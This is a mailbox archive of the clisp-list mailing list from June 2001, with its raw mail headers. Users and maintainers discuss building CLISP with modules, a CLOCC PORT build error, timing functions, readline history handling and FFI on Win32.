List-Unsubscribe: , List-Archive: Hello! I would like to build a RPM of clisp with some homemade modules. I don't really know how to do it, I have just inherited the files. The guy who developed the module never really bother of running the installation process until its end. He never used make install. Now I am confronted with problems with make install: it systematically recreates a clisp image WITHOUT the modules I added. What is the procedure to follow to build SIMPLY clisp with modules, using the good old: ./configure make make install What must I do to make it work? Daniel -- *********************************************************************** Daniel TOURDE E-mail : daniel.tourde@foi.se Tel : +46 8 55 50 43 44 FOI, Swedish Defence Research Agency; Aeronautics Division - FFA Dept. of Wind Energy and Aviation Environmental Research SE-172 90 Stockholm, Sweden Fax : +46 8 25 34 81 *********************************************************************** From sds@gnu.org Tue Jun 26 07:50:37 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EuAm-0002Xq-00 for ; Tue, 26 Jun 2001 07:50:36 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA08546; Tue, 26 Jun 2001 09:50:33 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp, modules, make install and rpm References: <3B3853B8.91A8F567@foi.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3B3853B8.91A8F567@foi.se> Date: 26 Jun 2001 10:49:16 -0400 Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3B3853B8.91A8F567@foi.se> > * On the subject of "[clisp-list] Clisp, modules, make install and rpm" > * Sent on Tue, 26 Jun 2001 11:19:52 +0200 > * Honorable Daniel Tourde writes: > > What is the procedure to follow to build SIMPLY clisp with modules, you cannot. CLISP build process builds two "linking sets" - "base" (just the base CLISP, no modules) and "full" (all modules). $ ./configure --with-module=regexp --build build $ cd build; make install will create 2 subdirectories in /usr/local/lib/clisp/ -- base and full. clisp (installed in /usr/local/bin) will run the image specified by the -K option. see http://clisp.cons.org/impnotes.html#modules -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The software said it requires Windows 3.1 or better, so I installed Linux. From de.young@computer.org Tue Jun 26 09:38:47 2001 Received: from fe7.southeast.rr.com ([24.93.67.54] helo=mail7.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EvrS-0002Dj-00 for ; Tue, 26 Jun 2001 09:38:46 -0700 Received: from tinian ([24.162.235.85]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 26 Jun 2001 12:37:42 -0400 Message-ID: <00e201c0fe5e$12bd9850$6501a8c0@tinian> From: "David E. Young" To: Date: Tue, 26 Jun 2001 12:35:54 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00DF_01C0FE3C.8ABDA0B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Subject: [clisp-list] Fw: [Lisa-users] Trouble building PORT with CLISP 2.26 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_00DF_01C0FE3C.8ABDA0B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Greetings. I've a LISA user that has reported trouble building the CLOCC = PORT module using CLISP 2.26. He has built CLISP from source on RedHat = 7.0, and the test suite indicates no problems. I've not seen this = trouble, but my CLISP is at version 2.25.1 and my Linux installation is = inaccessible at the moment so I can't build 2.26 and check. It looks like the trouble is in function GC in file ext.lisp; the symbol = LISP:GC is missing. I've included his problem report; please contact Art = Nuzzo (a.nuzzo@motorola.com) for additional questions. Also, please CC = me on replies. Thanks much. ---- Original report ----- First I downloaded and complied version 2.26 from the source. Make = check said all tests passed.=20 Next I downloaded the latest version of LISA from Sourceforge. When I = tried to compile LISA (Clisp was started with the -ansi option) I got = the following error: [1]> (load "misc/defsystem.lisp") ;; Loading file misc/defsystem.lisp ... ;; Loading of file misc/defsystem.lisp is finished. T [2]> (load "defsys.lisp") ;; Loading file defsys.lisp ... ;; Loading file #S(LOGICAL-PATHNAME :HOST LISA :DEVICE NIL :DIRECTORY = (ABSOLUTE CLOCC PORT) :NAME PORT :TYPE SYSTEM :VERSION NIL) ... ;; Loading of file #S(LOGICAL-PATHNAME :HOST LISA :DEVICE NIL = :DIRECTORY (ABSOLUTE CLOCC PORT) :NAME PORT :TYPE SYSTEM :VERSION NIL) = is finished. ;; Loading of file defsys.lisp is finished. T [3]> (mk:compile-system :lisa) PORT/ALL (6 files) totals 58,980 bytes (58 kB) PORT/NEW-SOURCE-AND-DEPENDENTS (6 files) totals 58,980 bytes (58 kB) Compiling file = /v1/usr/local/src/lisa-0.9.2/contrib/clocc/port/./ext.lisp ... *** - READ from #: = # has no external symbol with name "GC" 1. Break PORT[4]>=20 Regards, ----------------------------------------------------------------- David E. Young de.young@computer.org http://lisa.sourceforge.net "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) ------=_NextPart_000_00DF_01C0FE3C.8ABDA0B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Greetings. I've a LISA user that has = reported=20 trouble building the CLOCC PORT module using CLISP 2.26. He has built = CLISP from=20 source on RedHat 7.0, and the test suite indicates no problems. I've not = seen=20 this trouble, but my CLISP is at version 2.25.1 and my Linux = installation is=20 inaccessible at the moment so I can't build 2.26 and check.
 
It looks like the trouble is in = function GC in file=20 ext.lisp; the symbol LISP:GC is missing. I've included his problem = report;=20 please contact Art Nuzzo (a.nuzzo@motorola.com) for = additional=20 questions. Also, please CC me on replies. Thanks much.
 
---- Original report -----
 
First I=20 downloaded and complied version 2.26 from the source.  Make check = said all=20 tests passed.

Next I downloaded the latest version of LISA from=20 Sourceforge. When I tried to compile LISA (Clisp was started with the = -ansi=20 option) I got the following error:


[1]> (load=20 "misc/defsystem.lisp")
;; Loading file misc/defsystem.lisp ...
;; = Loading=20 of file misc/defsystem.lisp is finished.
T
[2]> (load=20 "defsys.lisp")
;; Loading file defsys.lisp ...
;;  Loading = file=20 #S(LOGICAL-PATHNAME :HOST LISA :DEVICE NIL :DIRECTORY (ABSOLUTE CLOCC = PORT)=20 :NAME PORT :TYPE SYSTEM :VERSION NIL) ...
;;  Loading of file=20 #S(LOGICAL-PATHNAME :HOST LISA :DEVICE NIL :DIRECTORY (ABSOLUTE CLOCC = PORT)=20 :NAME PORT :TYPE SYSTEM :VERSION NIL) is finished.
;; Loading of file = defsys.lisp is finished.
T
[3]> (mk:compile-system = :lisa)
PORT/ALL=20 (6 files) totals 58,980 bytes (58 kB)
PORT/NEW-SOURCE-AND-DEPENDENTS = (6=20 files) totals 58,980 bytes (58 kB)
Compiling file=20 /v1/usr/local/src/lisa-0.9.2/contrib/clocc/port/./ext.lisp ...
*** - = READ=20 from #<BUFFERED FILE-STREAM CHARACTER=20 #P"/v1/usr/local/src/lisa-0.9.2/contrib/clocc/port/./ext.lisp" @94>:=20 #<PACKAGE COMMON-LISP> has no external symbol with name "GC"
1. = Break=20 PORT[4]>


Regards,
 
----------------------------------------------------------------= -
David=20 E. Young
de.young@computer.org
http://lisa.sourceforge.net
 
"But all the=20 world understands my language."
  -- Franz Joseph Haydn=20 (1732-1809)
------=_NextPart_000_00DF_01C0FE3C.8ABDA0B0-- From sds@gnu.org Tue Jun 26 10:03:36 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EwFT-0005me-00 for ; Tue, 26 Jun 2001 10:03:35 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA12027; Tue, 26 Jun 2001 12:03:32 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: "David E. Young" Cc: Subject: Re: [clisp-list] Fw: [Lisa-users] Trouble building PORT with CLISP 2.26 References: <00e201c0fe5e$12bd9850$6501a8c0@tinian> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <00e201c0fe5e$12bd9850$6501a8c0@tinian> Date: 26 Jun 2001 13:02:09 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <00e201c0fe5e$12bd9850$6501a8c0@tinian> > * On the subject of "[clisp-list] Fw: [Lisa-users] Trouble building PORT with CLISP 2.26" > * Sent on Tue, 26 Jun 2001 12:35:54 -0400 > * Honorable "David E. Young" writes: > > Greetings. I've a LISA user that has reported trouble building the > CLOCC PORT module using CLISP 2.26. CLOCC/PORT builds just fine with CLISP 2.26, but the obsolete version distributed with LISA does not. Moreover, I warned you (_before_ CLISP 2.26 was released) about this upcoming incompatibility, and asked you to upgrade your LISA/PORT distribution and try the pre-release CLISP version. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on You can have it good, soon or cheap. Pick two... From Randy.Justice@cnet.navy.mil Tue Jun 26 10:41:30 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Ewpf-00042h-00 for ; Tue, 26 Jun 2001 10:40:59 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id MAA06602; Tue, 26 Jun 2001 12:40:01 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Jun 2001 12:40:01 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'sds@gnu.org'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Execution Time Date: Tue, 26 Jun 2001 12:40:00 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0FE67.065B0990" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0FE67.065B0990 Content-Type: text/plain; charset="iso-8859-1" Thank You Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Monday, June 25, 2001 9:47 AM To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Execution Time > * In message > * On the subject of "[clisp-list] Execution Time" > * Sent on Mon, 25 Jun 2001 07:35:35 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > Does CLISP contains a method to measure execution time? ANSI CL specifies a macro TIME See http://clisp.cons.org/impnotes.html#time http://www.lisp.org/HyperSpec/Body/mac_time.html See also http://clisp.cons.org/impnotes.html#space http://clisp.cons.org/impnotes.html#room http://www.lisp.org/HyperSpec/Body/fun_room.html -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on A year spent in artificial intelligence is enough to make one believe in God. ------_=_NextPart_001_01C0FE67.065B0990 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] Execution Time

Thank You

Randy

-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Monday, June 25, 2001 9:47 AM
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] Execution Time


> * In message = <B4CA1F5D8D23D411ADC7009027E791BF013ED381@pens0394.cnet.navy.Mil><= /FONT>
> * On the subject of "[clisp-list] = Execution Time"
> * Sent on Mon, 25 Jun 2001 07:35:35 = -0500
> * Honorable "Justice, Randy = -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
> Does CLISP contains a method to measure = execution time?

ANSI CL specifies a macro TIME
See
http://clisp.cons.org/impnotes.html#time
http://www.lisp.org/HyperSpec/Body/mac_time.html

See also
http://clisp.cons.org/impnotes.html#space
http://clisp.cons.org/impnotes.html#room
http://www.lisp.org/HyperSpec/Body/fun_room.html

--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
A year spent in artificial intelligence is enough to = make one believe in God.

------_=_NextPart_001_01C0FE67.065B0990-- From de.young@computer.org Tue Jun 26 10:54:52 2001 Received: from fe7.southeast.rr.com ([24.93.67.54] helo=mail7.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Ex36-0006To-00 for ; Tue, 26 Jun 2001 10:54:52 -0700 Received: from tinian ([24.162.235.85]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 26 Jun 2001 13:54:48 -0400 Message-ID: <011401c0fe68$d84c3220$6501a8c0@tinian> From: "David E. Young" To: Cc: References: <00e201c0fe5e$12bd9850$6501a8c0@tinian> Subject: Re: [clisp-list] Fw: [Lisa-users] Trouble building PORT with CLISP 2.26 Date: Tue, 26 Jun 2001 13:53:02 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: ----- Original Message ----- From: "Sam Steingold" To: "David E. Young" Cc: Sent: Tuesday, June 26, 2001 1:02 PM Subject: Re: [clisp-list] Fw: [Lisa-users] Trouble building PORT with CLISP 2.26 > CLOCC/PORT builds just fine with CLISP 2.26, but the obsolete version > distributed with LISA does not... Then the solution is obvious. > Moreover, I warned you (_before_ CLISP 2.26 was released) about this > upcoming incompatibility, and asked you to upgrade your LISA/PORT > distribution and try the pre-release CLISP version. Actually, if memory serves you asked me to try the pre-release version without clearly stating there would be an upcoming incompatibility. Or perhaps you did and it was muddled by the surrounding context; we were working on another CLISP issue at the time. In any event, since I haven't a copy of your warning I can't make an iron-clad case. No matter; appreciate your help. Regards, ----------------------------------------------------------------- David E. Young de.young@computer.org http://lisa.sourceforge.net "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From Randy.Justice@cnet.navy.mil Tue Jun 26 13:05:47 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Ez5I-0008IA-00 for ; Tue, 26 Jun 2001 13:05:16 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id PAA15700 for ; Tue, 26 Jun 2001 15:04:35 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Jun 2001 15:04:35 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Date: Tue, 26 Jun 2001 15:04:34 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0FE7B.386CC9A0" Subject: [clisp-list] GET-INTERNAL-RUN-TIME Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0FE7B.386CC9A0 Content-Type: text/plain; charset="iso-8859-1" According to http://www.lisp.org/HyperSpec/Body/fun_get-internal-run-time.html Description: Returns as an integer the current run time in internal time units. The precise meaning of this quantity is implementation-defined; it may measure real time, run time, CPU cycles, or some other quantity. The intent is that the difference between the values of two calls to this function be the amount of time between the two calls during which computational effort was expended on behalf of the executing program. How can I determine "what" GET-INTERNAL-RUN-TIME measures? Thanks in advance Randy ------_=_NextPart_001_01C0FE7B.386CC9A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable GET-INTERNAL-RUN-TIME

According to http://www.lisp.org/HyperSpec/Body/fun_get-internal-ru= n-time.html

Description:

Returns as an integer the current run time in = internal time units. The precise meaning of this quantity is = implementation-defined; it may measure real time, run time, CPU cycles, = or some other quantity. The intent is that the difference between the = values of two calls to this function be the amount of time between the = two calls during which computational effort was expended on behalf of = the executing program.

How can I determine "what" = GET-INTERNAL-RUN-TIME measures?



Thanks in advance

Randy

------_=_NextPart_001_01C0FE7B.386CC9A0-- From don-sourceforge@isis.compsvcs.com Tue Jun 26 13:19:35 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EzJ9-0003Bs-00 for ; Tue, 26 Jun 2001 13:19:35 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f5QKLKG22095; Tue, 26 Jun 2001 13:21:20 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15160.61119.627954.388905@isis.compsvcs.com> Date: Tue, 26 Jun 2001 13:21:19 -0700 (PDT) To: "Justice, Randy -CONT(DYN)" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] GET-INTERNAL-RUN-TIME In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > How can I determine "what" GET-INTERNAL-RUN-TIME measures? You won't like the answer. You have to first look at the clisp source to see what system call it makes for your particular system, then read the system doc to see what that system call does. From Randy.Justice@cnet.navy.mil Tue Jun 26 13:27:12 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15EzQ1-0004ba-00 for ; Tue, 26 Jun 2001 13:26:41 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id PAA16692; Tue, 26 Jun 2001 15:25:44 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Jun 2001 15:25:44 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'don-sourceforge@isis.compsvcs.com'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] GET-INTERNAL-RUN-TIME Date: Tue, 26 Jun 2001 15:25:44 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0FE7E.2D034FA0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0FE7E.2D034FA0 Content-Type: text/plain; charset="iso-8859-1" You are correct!!! I don't like the answer... I'll just add the task to the queue. -----Original Message----- From: don-sourceforge@isis.compsvcs.com [mailto:don-sourceforge@isis.compsvcs.com] Sent: Tuesday, June 26, 2001 3:21 PM To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] GET-INTERNAL-RUN-TIME > How can I determine "what" GET-INTERNAL-RUN-TIME measures? You won't like the answer. You have to first look at the clisp source to see what system call it makes for your particular system, then read the system doc to see what that system call does. ------_=_NextPart_001_01C0FE7E.2D034FA0 Content-Type: text/html; charset="iso-8859-1" RE: [clisp-list] GET-INTERNAL-RUN-TIME

You are correct!!!
I don't like the answer...
I'll just add the task to the queue.


-----Original Message-----
From: don-sourceforge@isis.compsvcs.com
[mailto:don-sourceforge@isis.compsvcs.com]
Sent: Tuesday, June 26, 2001 3:21 PM
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@lists.sourceforge.net
Subject: [clisp-list] GET-INTERNAL-RUN-TIME



 > How can I determine "what" GET-INTERNAL-RUN-TIME measures?
You won't like the answer.
You have to first look at the clisp source to see what system call it
makes for your particular system, then read the system doc to see what
that system call does.

------_=_NextPart_001_01C0FE7E.2D034FA0-- From sds@gnu.org Tue Jun 26 14:10:02 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15F05x-0004rl-00 for ; Tue, 26 Jun 2001 14:10:01 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA18730; Tue, 26 Jun 2001 16:09:58 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GET-INTERNAL-RUN-TIME References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 26 Jun 2001 17:08:27 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] GET-INTERNAL-RUN-TIME" > * Sent on Tue, 26 Jun 2001 15:04:34 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > How can I determine "what" GET-INTERNAL-RUN-TIME measures? RTFM: http://clisp.cons.org/impnotes.html#d39e18310 GET-INTERNAL-RUN-TIME returns the amount of run time consumed by the current CLISP process since its startup. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Stupidity, like virtue, is its own reward. From sds@gnu.org Wed Jun 27 12:24:30 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15FKvO-0007zJ-00 for ; Wed, 27 Jun 2001 12:24:30 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA16385; Wed, 27 Jun 2001 14:24:26 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 27 Jun 2001 15:23:12 -0400 Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] command-oriented-history with readline in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: bash has a variable, command_oriented_history, which controls whether $ for x in * > do echo $x > done $ is saved in history as one line or 3. CLISP always saved 3 lines, which was bad. now it will save one line. the question is: do we need a similar backwards-compatibility option? IOW, are there people around who _like_ the current behavior better than the proposed one? speak up or you will be stuck with "command_oriented_history" in the next release. [bash replaces newlines with "; " -- nothing like this will be done] -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The early worm gets caught by the bird. From peter.wood@worldonline.dk Thu Jun 28 10:20:44 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15FfT9-0000KU-00 for ; Thu, 28 Jun 2001 10:20:43 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 544E9B549 for ; Thu, 28 Jun 2001 19:20:35 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f5SHFCt00194; Thu, 28 Jun 2001 19:15:12 +0200 Date: Thu, 28 Jun 2001 19:15:12 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] command-oriented-history with readline in CLISP Message-ID: <20010628191512.A181@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Jun 27, 2001 at 03:23:12PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, Jun 27, 2001 at 03:23:12PM -0400, Sam Steingold wrote: > bash has a variable, command_oriented_history, which controls whether ...<3 bash lines cut> > is saved in history as one line or 3. > CLISP always saved 3 lines, which was bad. > now it will save one line. > the question is: do we need a similar backwards-compatibility option? It's a _big_ improvement to have the history saved as 1 line. Thanks. I personally don't need the backwards-compatibility option. Does paren matching work after pressing return? Peter From v_krishnakumar@operamail.com Fri Jun 29 02:00:12 2001 Received: from operamail.com ([199.29.68.126]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Fu8J-0005IB-00 for ; Fri, 29 Jun 2001 02:00:11 -0700 X-WM-Posted-At: operamail.com; Fri, 29 Jun 01 05:00:01 -0400 X-WebMail-UserID: v_krishnakumar Date: Fri, 29 Jun 2001 05:00:01 -0400 From: "V.Krishna Kumar" To: clisp-list@lists.sourceforge.net X-EXP32-SerialNo: 00000000 Message-ID: <3B45654C@operamail.com> Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Mailer: InterChange (Hydra) SMTP v3.61.08 Subject: [clisp-list] FFI on Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi! All, Iam a student doing my MCA in India and 'am new to Lisp and CLISP. I need help on using FFI on Win32. Can the module building procedure be made more simpler ?. I intend to write a module that wraps SDL . 